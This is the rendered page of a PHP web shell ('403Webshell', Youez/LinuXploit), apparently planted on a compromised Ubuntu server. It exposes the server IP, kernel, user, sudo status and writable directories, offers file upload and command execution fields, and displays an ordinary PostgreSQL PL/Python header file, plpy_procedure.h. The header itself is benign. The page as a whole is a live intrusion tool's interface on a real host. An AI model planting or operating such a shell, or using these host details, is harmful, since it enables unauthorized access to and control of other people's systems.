403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/include/postgresql/16/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/postgresql/16/server/plpy_procedure.h
/*
 * src/pl/plpython/plpy_procedure.h
 */

#ifndef PLPY_PROCEDURE_H
#define PLPY_PROCEDURE_H

#include "plpy_typeio.h"


extern void init_procedure_caches(void);


/* saved arguments for outer recursion level or set-returning function */
typedef struct PLySavedArgs
{
	struct PLySavedArgs *next;	/* linked-list pointer */
	PyObject   *args;			/* "args" element of globals dict */
	PyObject   *td;				/* "TD" element of globals dict, if trigger */
	int			nargs;			/* length of namedargs array */
	PyObject   *namedargs[FLEXIBLE_ARRAY_MEMBER];	/* named args */
} PLySavedArgs;

/* cached procedure data */
typedef struct PLyProcedure
{
	MemoryContext mcxt;			/* context holding this PLyProcedure and its
								 * subsidiary data */
	char	   *proname;		/* SQL name of procedure */
	char	   *pyname;			/* Python name of procedure */
	TransactionId fn_xmin;
	ItemPointerData fn_tid;
	bool		fn_readonly;
	bool		is_setof;		/* true, if function returns result set */
	bool		is_procedure;
	bool		is_trigger;		/* called as trigger? */
	PLyObToDatum result;		/* Function result output conversion info */
	PLyDatumToOb result_in;		/* For converting input tuples in a trigger */
	char	   *src;			/* textual procedure code, after mangling */
	char	  **argnames;		/* Argument names */
	PLyDatumToOb *args;			/* Argument input conversion info */
	int			nargs;			/* Number of elements in above arrays */
	Oid			langid;			/* OID of plpython pg_language entry */
	List	   *trftypes;		/* OID list of transform types */
	PyObject   *code;			/* compiled procedure code */
	PyObject   *statics;		/* data saved across calls, local scope */
	PyObject   *globals;		/* data saved across calls, global scope */
	long		calldepth;		/* depth of recursive calls of function */
	PLySavedArgs *argstack;		/* stack of outer-level call arguments */
} PLyProcedure;

/* the procedure cache key */
typedef struct PLyProcedureKey
{
	Oid			fn_oid;			/* function OID */
	Oid			fn_rel;			/* triggered-on relation or InvalidOid */
} PLyProcedureKey;

/* the procedure cache entry */
typedef struct PLyProcedureEntry
{
	PLyProcedureKey key;		/* hash key */
	PLyProcedure *proc;
} PLyProcedureEntry;

/* PLyProcedure manipulation */
extern char *PLy_procedure_name(PLyProcedure *proc);
extern PLyProcedure *PLy_procedure_get(Oid fn_oid, Oid fn_rel, bool is_trigger);
extern void PLy_procedure_compile(PLyProcedure *proc, const char *src);
extern void PLy_procedure_delete(PLyProcedure *proc);

#endif							/* PLPY_PROCEDURE_H */

Youez - 2016 - github.com/yon3zu
LinuXploit